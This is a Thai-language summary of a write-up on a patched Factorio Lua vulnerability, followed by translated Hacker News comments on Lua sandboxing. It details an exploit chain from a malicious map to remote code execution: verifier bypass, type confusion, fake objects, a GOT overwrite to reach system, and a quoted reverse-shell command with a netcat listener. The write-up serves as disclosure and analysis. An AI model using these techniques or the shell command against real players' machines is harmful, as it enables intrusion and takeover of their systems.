การวิเคราะห์ไบต์โค้ด: อธิบายช่องโหว่ความปลอดภัยของ Lua ใน Factorio
(memorycorruption.net)- ช่องโหว่ในอิมพลีเมนเทชัน Lua ของ Factorio ทำให้ เซิร์ฟเวอร์ที่เป็นอันตรายสามารถรันโค้ดตามอำเภอใจบนไคลเอนต์ที่เชื่อมต่อ ได้ และเวอร์ชันที่ได้รับผลกระทบคือ ต่ำกว่า 1.1.101 ซึ่งได้แพตช์ไปแล้ว
- เนื่องจากโหมดผู้เล่นหลายคนใช้โครงสร้าง deterministic lockstep ที่รันโค้ด Lua เดียวกันทั้งหมด ผู้โจมตีจึงสามารถกระตุ้นช่องโหว่ผ่าน แมปคัสตอมที่เป็นอันตราย บนเส้นทางเครือข่ายได้
- แกนของปัญหาคือการที่โมดูล
baseอนุญาตให้load/loadstringรันไบต์โค้ด ได้ รวมถึงตัวตรวจสอบของ Factorio เองมีปัญหาOff-By-Oneและขาดการตรวจสอบชนิดข้อมูล - เอ็กซ์พลอยต์เริ่มจากการใช้ type confusion ใน
FORLOOPเพื่อรั่วไหลที่อยู่หน่วยความจำ จากนั้นจึงบิดเบือนดัชนี upvalue ให้LClosureกับTStringสับสนกัน เพื่อสร้างอ็อบเจ็กต์ปลอมและทำ arbitrary read/write - RCE บน Linux ทำโดยเปลี่ยนที่อยู่
ldexpใน GOT ให้เป็นsystemแล้วอาศัยการเรียกmath.ldexpอีกทั้งยังต้องปรับแก้เพิ่มเติมเพราะ offset ของสตรักต์ใน Factorio และความต่างของฟอร์แมต%a
ขอบเขตของช่องโหว่และเส้นทางที่ Lua ถูกเปิดให้เข้าถึง
- ช่องโหว่ในอิมพลีเมนเทชัน Lua ของ Factorio ทำให้ เซิร์ฟเวอร์ที่เป็นอันตรายสามารถรันโค้ดตามอำเภอใจบนไคลเอนต์ ได้ และมีผลกับ Factorio เวอร์ชัน ต่ำกว่า 1.1.101
- Lua ถูกใช้ใน Factorio สำหรับตรรกะของเกม ม็อด และการสร้างแมปคัสตอม
- ม็อดสามารถดาวน์โหลดได้จากในเกมหรือจาก Factorio Mods
- ชุมชนม็อดมีม็อดอยู่หลายพันรายการ และบางรายการมียอดดาวน์โหลดเกิน 500,000 ครั้ง
- แม้จะดูเหมือนเป็นการโจมตีแบบโลคัลที่ต้องให้ผู้ใช้ติดตั้งม็อดอันตรายเอง แต่เพราะวิธีซิงก์ของโหมดผู้เล่นหลายคน ทำให้ Lua interpreter ถูกเปิดผ่าน เส้นทางเครือข่าย
- โหมดผู้เล่นหลายคนของ Factorio ใช้ deterministic lockstep
- ส่งผ่านเครือข่ายเฉพาะอินพุตของผู้ใช้ ไม่ใช่สถานะของเกมทั้งหมด
- เกมของผู้เล่นทุกคนต้องจำลองแต่ละ tick ให้เหมือนกันทั้งหมด
- ถ้าผู้เล่นคนหนึ่งรันโค้ด Lua ผู้เล่นที่เหลือก็ต้องรันโค้ดเดียวกันเพื่อรักษาการซิงก์
- เส้นทางที่ผู้โจมตีใช้เพื่อให้เกิดการรันโค้ด Lua สรุปได้ 2 แบบ
- เมื่อมีสิทธิ์ สามารถรันโค้ด Lua จากเซิร์ฟเวอร์ด้วยคำสั่ง
/c - สร้าง แมปคัสตอม ที่มีโค้ด Lua อยู่ข้างใน เพื่อให้ไคลเอนต์รันตอนเชื่อมต่อเซิร์ฟเวอร์
- เมื่อมีสิทธิ์ สามารถรันโค้ด Lua จากเซิร์ฟเวอร์ด้วยคำสั่ง
- หากนำเซิร์ฟเวอร์อันตรายไปแสดงใน server browser ก็สามารถสร้างลำดับเหตุการณ์ที่เหยื่อดาวน์โหลดแมปและรันโค้ด Lua ได้
ลำดับการโจมตีทั้งหมด
- การโจมตีเริ่มจากเซิร์ฟเวอร์ Factorio แจกจ่าย แมปอันตราย
- ใส่เอ็กซ์พลอยต์ไว้ในโค้ด Lua ของ scenario ในแมป
- เมื่อไคลเอนต์เชื่อมต่อเซิร์ฟเวอร์ ก็จะดาวน์โหลดแมปและรันโค้ด Lua ที่เกี่ยวข้อง
- จากนั้นอาศัยจุดอ่อนในอิมพลีเมนเทชัน Lua เพื่อสร้าง อ็อบเจ็กต์ปลอม (fake object)
- อ็อบเจ็กต์ปลอมทำให้รั่วไหลหน่วยความจำและทำลายหน่วยความจำได้
- ผลลัพธ์คือสามารถสร้าง primitive หลายแบบที่นำไปสู่การรันโค้ดได้
- ในภาษาแบบไดนามิก อ็อบเจ็กต์ปลอมคือเครื่องมือหลักที่ทำให้ผู้โจมตีได้อำนาจควบคุมสูง
- สตริงสามารถใช้รั่วไหลข้อมูลตามอำเภอใจได้
- อาร์เรย์หรือตารางสามารถใช้เขียนหน่วยความจำตามอำเภอใจได้
- หากมีเส้นทางเรียก native function ก็อาจต่อยอดไปสู่การควบคุม execution flow ได้
การรัน Lua ไบต์โค้ดและปัญหาในตัวตรวจสอบ
- โมดูล Lua ที่รวมอยู่ใน Factorio มีจำกัด
debug: เข้าถึงความสามารถด้านดีบักmath: อินเทอร์เฟซคณิตศาสตร์มาตรฐานของ Cbit32: การดำเนินการบิตstring: จัดการสตริงtable: จัดการตารางbase: ฟังก์ชันแกนหลักของ Lua เช่นprint
- แม้จะไม่มีโมดูลที่อันตรายชัดเจนอย่าง
os.executeแต่loadและloadstringในโมดูลbaseเปิดให้ รันไบต์โค้ด ได้ จึงทำให้พื้นผิวการโจมตีใหญ่ขึ้น - Lua จะคอมไพล์ซอร์สโค้ดเป็น Lua ไบต์โค้ด ก่อน แล้วจึงให้ interpreter รัน
- ไบต์โค้ดไม่ใช่ภาษาเครื่องของ CPU แต่เป็นรูปแบบที่มีเพียง Lua interpreter เท่านั้นที่รันได้
- หากฉีดไบต์โค้ดโดยตรงได้ ก็สามารถรันไบต์โค้ดผิดรูปแบบที่คอมไพเลอร์ปกติจะไม่สร้างให้ได้
- นักพัฒนา Lua รู้ถึงความเสี่ยงของการรันไบต์โค้ดตามอำเภอใจ จึงเคยมีตัวตรวจสอบ แต่ลบออกใน Lua 5.2
- ในเมลลิงลิสต์ของ Lua มีใจความว่าตัวตรวจสอบเดิมถูกบายพาสซ้ำ ๆ และแอปพลิเคชันที่รันโค้ด Lua ตามอำเภอใจควรหลีกเลี่ยงการรับ precompiled script
- ดูเหมือนว่านักพัฒนา Factorio จะทำตัวตรวจสอบไบต์โค้ดของตนเองบน Lua 5.2.1
- ตรรกะป้องกันเน้นอุด พารามิเตอร์ OOB ที่ชัดเจน เช่น การกระโดดออกนอกโค้ดหรือการใช้อินเด็กซ์เกินขอบเขตอาร์เรย์ค่าคงที่
- แต่ความหมายของ opcode บางตัวทำให้เกิดปัญหา
Off-By-Oneและการจัดการ jump offset อย่างJMP 0ทำให้กระโดดออกนอกบล็อกโค้ดได้ - เพราะส่วนค่าคงที่อาจถูกจัดวางไว้หลัง code chunk ผู้โจมตีจึงเก็บไบต์โค้ดไว้ในส่วนค่าคงที่แล้วใช้ off-by-one jump เพื่อหลบการตรวจสอบและรันมันได้
การรั่วไหลของที่อยู่: type confusion ใน FORLOOP
- อ็อบเจ็กต์ภายในของ Lua ถูกแทนด้วย
TValueTValueประกอบด้วยส่วนค่าชื่อValueและtt_ที่บอกชนิดข้อมูลValueมีขนาด 8 ไบต์ และจะถูกตีความเป็น double หรือ pointer ตามชนิด
- ตัวเลขใน Lua 5.2 ทั้งหมดถูกเก็บเป็น double
- ค่าตัวเลขสามารถเก็บแบบ inline ภายใน union
Valueได้โดยไม่ต้องผ่าน pointer - หากทำให้ pointer ของสตริงถูกตีความเป็นตัวเลข ก็จะเผยบิตของ pointer ออกมาในรูปค่า double
- ค่าตัวเลขสามารถเก็บแบบ inline ภายใน union
- ใน Lua ปกติ
print(function)สามารถพิมพ์ที่อยู่ได้ แต่ใน Factorio ฟังก์ชันนี้ถูกลบออก และไม่สามารถรั่วไหลที่อยู่ของสตริงโดยตรงได้ - opcode สำหรับลูปอย่าง
FORLOOPปกติจะต้องตามหลังFORPREPFORPREPจะตรวจว่าค่าเริ่มต้น ค่า limit และค่า step เป็นตัวเลขหรือไม่- ภายใน
FORLOOPไม่มีการตรวจชนิดของพารามิเตอร์ step และการตรวจแบบlua_assertก็ไม่ได้ถูกบังคับใช้ใน build ปกติ
- ผู้โจมตีสามารถแก้ไบต์โค้ดให้ไม่มี
FORPREPแล้วรันเฉพาะFORLOOPได้- เป็นสถานการณ์ที่คอมไพเลอร์จะไม่สร้างจากซอร์ส Lua ปกติ แต่สร้างขึ้นได้ด้วยไบต์โค้ด
- หากวางอ็อบเจ็กต์อย่างสตริงไว้ในตำแหน่ง step pointer ใน
TValueนั้นจะถูกตีความเป็น double และรั่วไหลออกมา
- ค่าที่รั่วออกมาไม่ใช่ double ปกติ แต่เป็นบิต pointer ที่ถูกตีความเป็น double จึงดูเหมือนค่าเล็กมาก เช่น
2.1944577826691e-317- IEEE 754 binary64 มีบิตเครื่องหมาย 1 บิต เลขชี้กำลัง 11 บิต และ mantissa 52 บิต
- ถ้าค่า pointer ดูเหมือน denormalized double ก็สามารถกู้ค่าต้นฉบับจาก mantissa ได้
- Lua 5.2 ไม่มี pack/unpack และไม่มีชนิดจำนวนเต็ม จึงแปลงค่ายาก
- ในช่วงแรกใช้
string.format("%.13a", double)เพื่ออ่าน mantissa และ exponent แล้วกู้ pointer กลับมา - ตัวอย่างค่าที่รั่วไหลถูกกู้กลับเป็น pointer
0x43d6c0และข้อมูลสตริงจริงอยู่ถัดจาก header ของTStringไป 24 ไบต์
- ในช่วงแรกใช้
การบิดเบือน upvalue และ type confusion ของ LClosure
- Upvalue คือกลไกใน Lua สำหรับเข้าถึงตัวแปรนอกสโคปของฟังก์ชันปัจจุบัน
- ข้อมูล upvalue ในไบต์โค้ดมีดัชนี ชื่อ สถานะว่าอยู่บนสแตกหรือไม่ และดัชนีบนสแตก
- ผู้โจมตีสามารถแก้ดัชนี upvalue ที่ฝังอยู่ในไบต์โค้ดได้
- เมื่อเปลี่ยนดัชนี upvalue ก็สามารถอ้างถึง
TValueอื่นบนสแตก แทนตัวแปรโลคัลเดิมได้- ในตัวอย่าง มีการเพิ่มดัชนี upvalue ของ
targetขึ้นหนึ่ง เพื่อให้ชี้ไปยังLClosureของฟังก์ชันปัจจุบัน - ไบต์โค้ดที่ถูกแก้แล้วจะแสดง
LClosure: 0x...แทนnil
- ในตัวอย่าง มีการเพิ่มดัชนี upvalue ของ
- ใน Lua หน่วยที่ใช้รันจริงของฟังก์ชันแบ่งเป็น Prototype และ Closure
Protoทำหน้าที่เป็นเทมเพลตของฟังก์ชัน เช่น ไบต์โค้ด ค่าคงที่ บรรทัดต้นทาง และข้อมูล upvalueLClosureถูกสร้างตอนรันและเชื่อมProtoเข้ากับรายการ upvalue
- opcode
CLOSUREจะสร้าง Lua closure ใหม่ วางลงบนสแตก แล้ว initialize upvalue- ถ้ามีตัวแปรโลคัล 3 ตัว
LClosureใหม่อาจถูกวางไว้ที่base + 3 - ถ้าเปลี่ยนดัชนี upvalue เป็น
3ก็จะจับTValueของLClosureตำแหน่งนั้นได้
- ถ้ามีตัวแปรโลคัล 3 ตัว
- หากฟังก์ชันชั้นในเขียนทับ
LClosureของฟังก์ชันชั้นนอกด้วยสตริง หลังจาก return แล้ว Lua จะพยายามใช้สตริงนั้นเป็นLClosureและเกิดการชน- การตรวจชนิดในเส้นทาง
OP_RETURNอาศัยlua_assertและไม่ได้ถูกบังคับในค่าตั้งต้น - ผลคือ
clของ execution frame ปัจจุบันอาจไม่ได้ชี้ไปยังLClosureจริง แต่ชี้ไปยังTStringที่ผู้โจมตีควบคุม
- การตรวจชนิดในเส้นทาง
- เมื่อใช้ความต่างของ layout ระหว่าง
TStringกับLClosureพื้นที่ข้อมูลผู้ใช้ของสตริงจะทับกับตำแหน่งProto *pและUpval **upval- type confusion นี้ทำให้ควบคุม pointer ของ function prototype และ pointer ของอาร์เรย์ upvalue ได้
- หากชี้ไปยังพื้นที่หน่วยความจำที่ควบคุมได้ ก็สามารถสร้าง อ็อบเจ็กต์ปลอม ได้
อ็อบเจ็กต์ปลอมและ primitive สำหรับอ่าน/เขียน
- เส้นทางการสร้างอ็อบเจ็กต์ปลอมมีหลัก ๆ สองแบบ
- ทำให้
Protoปลอมชี้ไปยังอาร์เรย์TValueปลอม - ทำให้อาร์เรย์
UpValปลอมชี้ไปยังTValueปลอม
- ทำให้
- เส้นทางผ่านค่าคงที่ถูกเลือกเพราะมี padding น้อย และฟังก์ชันสามารถใช้ค่าคงที่ซ้ำได้
TStringปลอม- อาร์เรย์
TValueที่ชี้ไปยังTStringปลอม Protoที่ชี้ไปยังอาร์เรย์TValueปลอมLClosureที่ชี้ไปยังProtoปลอม
TStringปลอมสามารถตั้งค่าความยาวให้ใหญ่ตามต้องการเพื่อใช้เป็น primitive สำหรับอ่าน- Lua ถือว่าข้อมูลสตริงอยู่ถัดจาก header ของ
TString - ใช้
str:sub()เพื่ออ่านหน่วยความจำในช่วงที่สตริงปลอมครอบคลุม - ดัชนีสตริงของ Lua เริ่มที่ 1 จึงต้องชดเชย 1 ไบต์ในการคำนวณ header
- Lua ถือว่าข้อมูลสตริงอยู่ถัดจาก header ของ
- primitive สำหรับเขียนทำได้โดยทำให้
UpValปลอมชี้ไปยังTValueของที่อยู่เป้าหมาย- เมื่อกำหนดค่าตัวเลขให้ตัวแปร Lua ระบบจะเขียน
TValueแบบตัวเลขลงไปยังตำแหน่งนั้น - ตัวเลขถูกเก็บแบบ inline ใน 8 ไบต์แรกของ
TValueจึงควบคุมส่วน value ได้ - พร้อมกันนั้น 8 ไบต์ถัดไปจะถูกเขียนข้อมูลชนิดด้วย จึงอาจทำลายหน่วยความจำรอบข้างได้
- เมื่อกำหนดค่าตัวเลขให้ตัวแปร Lua ระบบจะเขียน
- เนื่องจากตัวเลขของ Lua เป็น double หากต้องการเขียนรูปแบบบิตของจำนวนเต็มตามต้องการก็ต้องแปลงก่อน
- ใช้หน่วยเล็กสุดของ denormalized double คือ
2^-1074 - เข้ารหัสจำนวนเต็มให้อยู่ในรูป double ด้วย
integer_to_double(integer) = integer * 2^-1074
- ใช้หน่วยเล็กสุดของ denormalized double คือ
การควบคุม instruction pointer และการบายพาส ASLR
Light C Functionของ Lua จะเก็บ function pointer แบบ inline ไว้ในTValue- ชนิดของฟังก์ชันคือ
LUA_TFUNCTIONและLight C Functionแทนด้วยค่าLUA_TLCFเท่ากับ22 - หากใส่
0xdeadbeefลงในส่วน value ของTValueและใส่22ในส่วน type ก็จะสามารถเรียกมันเหมือนฟังก์ชันที่อยู่ที่แอดเดรสนั้นได้
- ชนิดของฟังก์ชันคือ
- เมื่อเรียก
Light C Functionปลอม ก็จะควบคุม instruction pointer ได้- ในตัวอย่าง
RIPกลายเป็น0xdeadbeefแล้วโปรแกรมล้ม - จากนั้นสามารถต่อยอดด้วยเทคนิคเปลี่ยน execution flow อย่าง ROP chain ได้
- ในตัวอย่าง
- การที่ pointer ของ
Light C Functionถูกเก็บแบบ inline ยังมีประโยชน์ต่อการรั่วไหลของที่อยู่- หากฟังก์ชัน Lua ถูกอิมพลีเมนต์เป็น light C function ก็ใช้เป็น primitive สำหรับรั่วไหลที่อยู่ของฟังก์ชันอย่าง
printได้ - จากนั้นนำไปคำนวณ base address ที่ใช้บายพาส ASLR ได้
- หากฟังก์ชัน Lua ถูกอิมพลีเมนต์เป็น light C function ก็ใช้เป็น primitive สำหรับรั่วไหลที่อยู่ของฟังก์ชันอย่าง
- หากยังมีฟังก์ชัน sandboxed ค้างอยู่ในไบนารี ก็อาจเลี่ยงข้อจำกัดได้ด้วยการทำ fake function ให้ชี้ไปยังแอดเดรสนั้นแล้วเรียกใช้
การปรับแก้ให้เข้ากับ Factorio
- การทดสอบช่วงแรกทำบน Lua interpreter ทางการ แต่การอิมพลีเมนต์ Lua ของ Factorio มี layout ของสตรักต์ต่างออกไป
CommonHeaderของอ็อบเจ็กต์ GC ใน Factorio มี pointerpreviousเพิ่มเข้ามา- ใน Lua ทางการมีโครงสร้าง
next,tt,marked - ส่วน Factorio ดูเหมือนจะเป็น
previous,next,tt,marked
- ใน Lua ทางการมีโครงสร้าง
- ความต่างนี้ทำให้ offset บางตำแหน่งเลื่อนไปอีก 8 ไบต์
- header ของ
TStringจึงไม่ใช่ 24 ไบต์ แต่เป็น 32 ไบต์ - ต้องแก้การคำนวณแอดเดรสของเนื้อหาสตริงและแอดเดรสสัมพัทธ์ใน primitive สำหรับอ่าน
- รวมถึงต้องสะท้อน pointer ที่เพิ่มเข้ามาในการคำนวณ
UpValปลอมและ fake closure
- header ของ
- ใน Factorio พฤติกรรมของฟอร์แมต
%aก็ไม่เหมือนกับที่ทดสอบบน Lua ทางการstring.format("%.13a", 2.1038461432219e-316)ไม่ได้ให้ค่า0x0.000000289c130p-1022ตามคาด แต่ให้รูปแบบ0xa.2704c00000000p-1052- ทำให้วิธีกู้ค่า double จากการฟอร์แมตสตริงใช้ไม่ได้
- ท้ายที่สุดจึงเปลี่ยนมาใช้การแปลงแบบเชิงตัวเลขล้วน
- ค่า denormalized สามารถมองได้ว่าจำนวนเต็มทั้งหมดเริ่มจากบิตขวาสุดต่ำสุด
- กู้ค่าที่รั่วไหลด้วย
double_to_number(double) = double * 2^52 * 2^1022 - เนื่องจาก
2^1074ไม่สามารถแทนเป็น double ได้ จึงต้องแยกเป็นการคูณสองขั้น
Linux RCE: สลับ GOT และ math.ldexp
- บน Linux เส้นทาง RCE ที่เลือกใช้คือ การสลับ GOT แทน ROP chain
- มองหาฟังก์ชันที่เรียกได้จาก Lua และควบคุมอาร์กิวเมนต์ตัวแรกได้
- เขียนทับ GOT entry ของฟังก์ชันนั้นให้เป็นแอดเดรสของ
system - จากนั้นเรียกฟังก์ชันนั้นจาก Lua ให้ทำงานเหมือน
system(command)
- ภายใต้ไลบรารี Lua ที่จำกัดของ Factorio ฟังก์ชันที่เหมาะคือ
math.ldexp- ภายในจะเรียก
ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2)) - การตรวจด้วย GDB ยืนยันว่าอาร์กิวเมนต์ Lua ตัวที่สองถูกส่งไปเป็นรีจิสเตอร์อาร์กิวเมนต์ตัวแรก
RDIของการเรียก libc
- ภายในจะเรียก
- GOT อยู่ก่อน heap ทำให้ primitive สำหรับอ่านด้วยสตริงปลอมเดิมอ่านได้ยากโดยตรง
- primitive สำหรับอ่านจะอ่านได้เฉพาะแอดเดรสหลัง header ของสตริงปลอมเท่านั้น
- จึงอาศัย writable segment ที่อยู่ก่อน GOT เพื่อวาง
TStringปลอมไว้ก่อน GOT
- เมื่อวาง
TStringปลอมไว้ก่อน GOT ก็สามารถอ่านแอดเดรสของฟังก์ชันใน libc เพื่อบายพาส ASLR ได้- ในตัวอย่าง อ่านแอดเดรสของ
memcpyจาก GOT - จาก offset ของ libc 2.38 บน Fedora 39 คำนวณได้ว่า
libc_base = memcpy - 0x138b80,system = libc_base + 0x2a3b0
- ในตัวอย่าง อ่านแอดเดรสของ
- หลังจากนั้นจึงเขียนทับ GOT entry ของ
ldexpให้เป็นแอดเดรสsystem- ในตัวอย่าง ใช้ตำแหน่ง
0x289ef00เป็น GOT entry ของldexp - เขียนทับในรูป
write(0x289ef00, system)
- ในตัวอย่าง ใช้ตำแหน่ง
การรันคำสั่งและ remote shell ขั้นสุดท้าย
- ตอนแรกพยายามเก็บคำสั่งไว้ในสตริง Lua แล้วเรียก
math.ldexp(0, addr_of(cmd) + 32)- คำสั่งอยู่ในรูป
sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &" - แต่ Lua เรียก
ldexpด้วย พารามิเตอร์ 32 บิต ทำให้บิตสูงของแอดเดรสสตริงถูกตัดทิ้งและล้มเหลว
- คำสั่งอยู่ในรูป
- วิธีเลี่ยงคือเขียนสตริงคำสั่งลงไปตรง ๆ ใน writable segment ของไบนารีที่ใช้สร้างสตริงปลอมก่อนหน้านี้
- เนื่องจากไม่ได้เปิด PIE แอดเดรสของไบนารีหลักจึงมีขนาดเล็กพอ
- มีการเขียนสตริงคำสั่งใกล้แอดเดรส
0x289c150ด้วยwrite()หลายครั้ง
- เมื่อเรียก
math.ldexp(0, 0x289c150)หลังสลับ GOT แล้ว มันจะทำงานเสมือนsystem(0x289c150) - ผลลัพธ์สุดท้ายยืนยันได้จากเชลล์ที่เชื่อมกลับมายังตัวรับฟังโลคัล
nc -lvp 9001- พรอมป์ต์เชลล์คือ
sh-5.2$ - ผลของ
whoamiคือvictim
- พรอมป์ต์เชลล์คือ
โจทย์ฝึกและแหล่งอ้างอิง
- ช่วงท้ายบทความมีโจทย์บนเบราว์เซอร์ให้ฝึกหลบออกจาก Lua interpreter และเรียกฟังก์ชัน JavaScript ที่ไม่สามารถเรียกจากโค้ด Lua ได้โดยตรง
- โจทย์: Escape from Alcawasm
- ลิงก์อ้างอิงที่เกี่ยวข้อง
- ที่มาของการลบตัวตรวจสอบ Lua ไบต์โค้ด: lua-l เมลลิงลิสต์ ฉบับสำเนา Wayback
- โค้ดตัวตรวจสอบ Lua ของ Factorio: Factorio Lua
- การอิมพลีเมนต์ตัวเลขของ Lua: Programming In Lua: Numbers
- Lua closure: Programming in Lua: Closures
- คำอธิบายฟอร์แมต
%a: GNU libc Floating-Point Conversions - ตัวอย่างเอ็กซ์พลอยต์ Lua 5.1 บน Windows 32 บิต: Exploiting Lua 5.1 on 32-bit Windows
1 ความคิดเห็น
ความคิดเห็นใน Hacker News
นึกไม่ถึงเลย
Lua ตีความ bytecode อยู่แล้ว เลยนึกว่าน่าจะตรวจได้ว่าอาร์กิวเมนต์ของคำสั่งมีความหมายสมเหตุสมผลไหม เช่น ชี้ไปยังหน่วยความจำที่ Lua จัดสรรไว้หรือเปล่า
แต่ในความเป็นจริงไม่ใช่แบบนั้น และแม้ใส่ bytecode ที่มีอาร์กิวเมนต์ผิด ๆ เข้าไปก็ยังรันต่อไปตามเดิม จากนั้นกระบวนการบุกรุกก็สานต่อจากตรงนั้น
แถมแผนคือจะวิเคราะห์ bytecode แบบสแตติก แทนที่จะแก้ตัว interpreter ซึ่งดูเหมือนจะใช้ได้เฉพาะกรณีง่าย ๆ เท่านั้น
สำหรับภาษาแบบ interpreter ที่น่าจะเป็นมิตรกับ sandbox แล้วถือว่าน่าผิดหวังพอสมควร และสงสัยว่าจะยอมรับแพตช์ที่แก้ interpreter ไม่ให้เชื่อถืออินพุตหรือไม่ ดูเหมือนพวกเขากังวลเรื่องประสิทธิภาพตก แต่ในเมื่อทางเลือกที่เร็วคือ LuaJIT ก็เลยน่าสงสัยอยู่
วิธีนี้ดูสมเหตุสมผล เพราะยังเหลือตัวเลือกให้โหลด bytecode ที่เชื่อถือได้โดยตรง ขณะเดียวกันก็ไม่ต้องใส่การตรวจสอบแบบไดนามิกใน interpreter ซึ่งจะกระทบผู้ใช้ทุกคน
ตามการออกแบบ Lua ไม่รับประกันการจบการทำงาน และไม่มีวิธีที่ดีในการบังคับหยุดโปรแกรมที่ไม่น่าเชื่อถือ หากรับอินพุต Lua ที่ไม่น่าเชื่อถือ ก็ควรมองว่าโปรแกรมอาจค้างไปได้ไม่มีกำหนด
Lua ยอดเยี่ยมสำหรับ อินพุตกึ่งเชื่อถือได้ ที่ผ่านการตรวจสอบขั้นต่ำ เช่น โค้ดที่ดาวน์โหลดจากอินเทอร์เน็ต ต่อให้โค้ดนั้นเป็นอันตรายจริง ก็จำกัดความเสียหายได้มาก แต่กำจัดไม่ได้หมด
ถ้าต้องการอินพุตที่ไม่เชื่อถือเลยแบบ JavaScript สิ่งที่เหมาะคือ Luau ซึ่งเป็นฟอร์กของ Roblox: https://luau-lang.org/sandbox
อย่างที่ภาษาอื่น ๆ แสดงให้เห็น การทำ interpreter ที่ปลอดภัยสำหรับ bytecode ไม่ใช่เรื่องง่าย ๆ และก็เป็นการแลกเปลี่ยนเพื่อให้ implementation อ้างอิงเรียบง่ายด้วย
เมื่อพูดถึงการรันโค้ดของบุคคลที่สาม ผมไม่เชื่อถือ interpreter ส่วนใหญ่แบบนี้เลย แม้แต่เบราว์เซอร์ที่ได้รับงบวิจัยพัฒนาและความสนใจมากมาย ผมก็ยังเชื่อถือได้แค่แบบเฉียด ๆ เท่านั้น
ก็เหมือนกับการไม่รันโค้ดเครื่องตามอำเภอใจนั่นแหละ
Luau ก็มีคุณสมบัติเดียวกัน แต่ Roblox ก็ไม่ได้เจ็บปวดกับการหลุด sandbox ตลอดเวลาไม่ใช่หรือ
อยากให้ส่วนนี้ถูกนิยามหรือทำเป็นเอกสารให้ชัดเจนกว่านี้ ตอนนี้ต้องไปหาคำตอบเองว่าภาษาใดรับประกันความปลอดภัยได้อย่างสมเหตุสมผล
เช่น มีกรณีพื้นฐานที่โค้ดแบบสแตติกรันโดยผู้ใช้เอง ซึ่งเป็นกรณีที่ภาษาโดยทั่วไปรวมถึง Lua ใส่ใจ
อีกกรณีคือรับโค้ดแบบไดนามิกมารันในกระบวนการอัปเดต แต่ใช้เฉพาะช่องทางทางการเท่านั้น ตอนนั้นอาจพอผ่านไปได้ถ้าทำให้โปรเซสปลอดภัย แต่ก็ไม่แน่ชัด
ยังมีกรณีที่ผู้ใช้สามารถเพิ่มโค้ดเป็นปลั๊กอิน และติดตั้งได้ง่ายด้วยการกดปุ่มเดียวจากสโตร์ แม้จะตรวจทานปลั๊กอินได้ แต่โดยมากแทบทำไม่ได้จริง จึงต้องพิจารณาว่าจำเป็นต้องมี sandbox หรือผู้ใช้ต้องระวังเอง
ยังมีเกมมัลติเพลเยอร์ที่ขยายได้ด้วยปลั๊กอินเฉพาะฝั่งเซิร์ฟเวอร์ ไม่ใช่ฝั่งไคลเอนต์ ต้องคำนึงว่าผู้เล่นที่เปิดเซิร์ฟเวอร์มักทดลองใช้ปลั๊กอินหลายตัวอย่างกระตือรือร้น และชุมชนปลั๊กอินก็อาจมีความเสี่ยงสูงกว่ามาก
สุดท้ายคือเกมมัลติเพลเยอร์แบบเบราว์เซอร์ที่เซิร์ฟเวอร์สามารถรันโค้ดตามอำเภอใจบนไคลเอนต์ได้ ในกรณีนี้ต้องระวัง sandbox ฝั่งไคลเอนต์เป็นพิเศษ เพราะเกมเมอร์มักเข้าเซิร์ฟเวอร์ตามอำเภอใจโดยไม่คิดถึงผลกระทบด้านความปลอดภัย
Factorio เข้ากรณีสุดท้ายนี้พอดี ผมไม่ได้คัดค้านเสียทีเดียวว่านักพัฒนาควรประเมินเรื่องนี้ แต่เช่น ข้อเท็จจริงที่ว่าฟังก์ชัน
loadของ Lua สามารถรัน bytecode ตามอำเภอใจที่ไม่ปลอดภัยได้นั้น ไม่ได้ชัดเจนเสมอไปพูดตามตรง ผมไม่รู้ว่า bytecode ของ Lua ไม่ปลอดภัย และรู้ว่า bytecode ของ LuaJIT ไม่ปลอดภัย แต่เรื่องนี้ดูเหมือนถูกเขียนไว้ประปรายในเมลลิงลิสต์หรือ GitHub issue ราวกับเป็นเรื่องที่รู้กันอยู่แล้ว
ยังมีปัญหาที่เซิร์ฟเวอร์สามารถทำให้ไคลเอนต์ค้างได้ด้วย แค่ทำลูปไม่รู้จบก็พอ อย่างไรก็ตาม เรื่องนี้หลีกเลี่ยงได้ยากกว่ามาก และบางทีการพยายามหลีกเลี่ยงอาจไม่มีความหมายก็ได้
ฝั่งไคลเอนต์ไม่มีตัวเลือกให้ปิดเบราว์เซอร์ และเท่าที่รู้ นักพัฒนาปิดใช้งานมันทั้งหมดในท้ายที่สุด แต่สถานะตอนนี้ไม่แน่ใจ
มันแสดงให้เห็นว่าเกมและเอนจินเกมซับซ้อนขึ้นขนาดไหน มีเว็บเบราว์เซอร์ฝังอยู่ในที่ที่ดูเหมือนไม่มีเหตุผลอะไรเป็นพิเศษ
เบื้องหลัง Factorio มีทีมพัฒนาที่ยอดเยี่ยมจริง ๆ จึงเชื่อว่าพวกเขากำลังพยายามอย่างเต็มที่เพื่อแก้ปัญหาแบบนี้ เพียงแต่การพัฒนาเกมโดยรวมมีลักษณะเป็นงานสร้างสรรค์สูง ทำให้เรื่องอย่างแนวปฏิบัติด้านโค้ดหรือความปลอดภัยดูเหมือนถูกดันไปไว้ทีหลัง
น่าสงสัยว่าในไคลเอนต์และเซิร์ฟเวอร์เกมจะมี ช่องโหว่ zero-day ซ่อนอยู่มากแค่ไหน
Flatpak อาจเป็นจุดเริ่มต้นที่ช่วยได้ แม้คอนเทนเนอร์จะไม่ใช่ขอบเขตความปลอดภัยที่แข็งแรง แต่ก็กัน exploit แบบง่าย ๆ ได้
มันไม่ใช่แค่การตัดสินใจทางธุรกิจง่าย ๆ เพื่อบังคับให้ใช้บริการออนไลน์อย่างเป็นทางการเท่านั้น หากปิดกั้นการเชื่อมต่อไปยัง IP เซิร์ฟเวอร์บุคคลที่สาม ต่อให้โค้ดเครือข่ายหรือส่วนอื่น ๆ ของเกมมีบั๊กร้ายแรง ก็จะไม่มีทางถูกนำไปใช้โจมตีได้ การจำกัดม็อด แม้แต่ม็อดที่ “ปลอดภัย” อย่าง Lua ก็ช่วยป้องกัน exploit ได้มากขึ้น
ในอดีต โค้ดเครือข่ายที่มีบั๊กจำนวนมากเคยทำให้ DRM ของคอนโซลหลายรุ่นพังมาแล้ว
นอกจาก exploit แล้ว คอนโซลยังภูมิใจกับการที่โค้ดต้องผ่านการตรวจสอบก่อนเผยแพร่ การอนุญาตให้รัน Lua บนระบบระยะไกลหมายความว่าแม้หลังผ่านการอนุมัติแล้ว เกมก็ยังถูกปรับโครงสร้างใหม่จากระยะไกลโดยตัวนักพัฒนาเองได้ และผู้ผลิตคอนโซลย่อมไม่อยากอนุญาตสิ่งนี้หากไม่ได้ตรวจอย่างละเอียดมาก
